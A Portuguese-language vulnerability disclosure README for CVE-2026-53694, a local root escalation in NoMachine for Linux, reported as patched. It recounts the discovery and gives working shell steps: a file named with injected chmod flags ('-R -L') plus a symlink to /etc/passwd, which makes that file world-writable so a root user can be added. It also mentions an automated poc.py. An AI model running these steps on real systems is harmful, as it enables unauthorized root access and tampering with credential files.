
Prova de conceito de exploit e relatório para CVE-2026-53694, uma escalada de privilégio local no NoMachine para Linux por meio de injeção de argumento no nxchmod.sh, permitindo acesso root através de manipulação de symlink.
Este repositório contém a descrição detalhada e a Prova de Conceito (PoC) para CVE-2026-53694, uma vulnerabilidade de Escalação de Privilégio Local (LPE) no NoMachine para Linux.
Devido à neutralização inadequada de delimitadores de argumentos no script nxchmod.sh, um usuário local sem privilégios pode injetar argumentos em um comando do sistema executado como root. Ao combinar essa injeção de argumentos com um link simbólico, um atacante pode sobrescrever arquivos críticos do sistema (como /etc/passwd) e escalar seus privilégios para root.
Esta vulnerabilidade foi totalmente corrigida pelo fornecedor.
Encontrar esta vulnerabilidade foi um processo de tentativa, erro e uma percepção tarde da noite. Veja como a descoberta se desenrolou:
/usr/NX/scripts/restricted/nxchmod.sh estava sendo executado periodicamente pelo usuário root para gerenciar permissões em diretórios específicos.chmod a+rw em arquivos. Pensei: Se eu controlo o destino, posso usar um symlink para tornar /etc/passwd gravável? Testei um symlink padrão (ln -s /etc/passwd /tmp/asdf), mas falhou. O sticky bit do Linux em diretórios como /tmp impede que o usuário root siga cegamente um symlink criado por outro usuário.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. O script estava pegando o nome literal do arquivo e passando-o diretamente para chmod.X1234 -R -L. Quando o script foi executado, o comando chmod expandiu isso em argumentos em vez de um único caminho de arquivo.-L (seguir symlinks) e -R (recursivo) no comando chmod através do nome do arquivo, forcei o próprio binário chmod a resolver e seguir o symlink que criei no diretório, contornando completamente a proteção do sticky bit./etc/passwd se tornou gravável (a+rw), pude simplesmente adicionar um novo usuário root ao arquivo e usar su para acessá-lo.A vulnerabilidade decorre de como o NoMachine lida com permissões para sockets X11/Wayland. O script nxchmod.sh é gerado pelo daemon nxserver.bin executando como root.
A execução vulnerável se parece com isto:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Se um atacante cria uma estrutura de diretório e um arquivo chamado X1234 -R -L, o comando resultante executado pelo root se torna:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Quando um symlink apontando para /etc/passwd é colocado dentro do diretório X1234, os argumentos injetados -R e -L forçam o chmod a seguir recursivamente o symlink e conceder permissões globais de leitura/escrita ao arquivo alvo.
Para que este exploit funcione, o sistema alvo deve atender às seguintes condições:
Você pode reproduzir esta vulnerabilidade manualmente usando comandos do shell ou automaticamente usando o script Python fornecido.
Navegue até /tmp/.X11-unix/ e execute os seguintes comandos para criar a estrutura de diretório maliciosa.
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
Depois de verificar a vulnerabilidade e escalar privilégios, execute os seguintes comandos de limpeza para restaurar a estabilidade do sistema e remover artefatos:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Um exploit automatizado completo é fornecido em poc.py. Este script verifica os requisitos do Wayland, configura o symlink, aguarda o ciclo de execução do nxchmod.sh e injeta um novo usuário root (gg) no /etc/passwd
Para executar o exploit:
python3 poc.py
Esta vulnerabilidade foi corrigida pela NoMachine. Os usuários devem atualizar para as seguintes versões ou posteriores: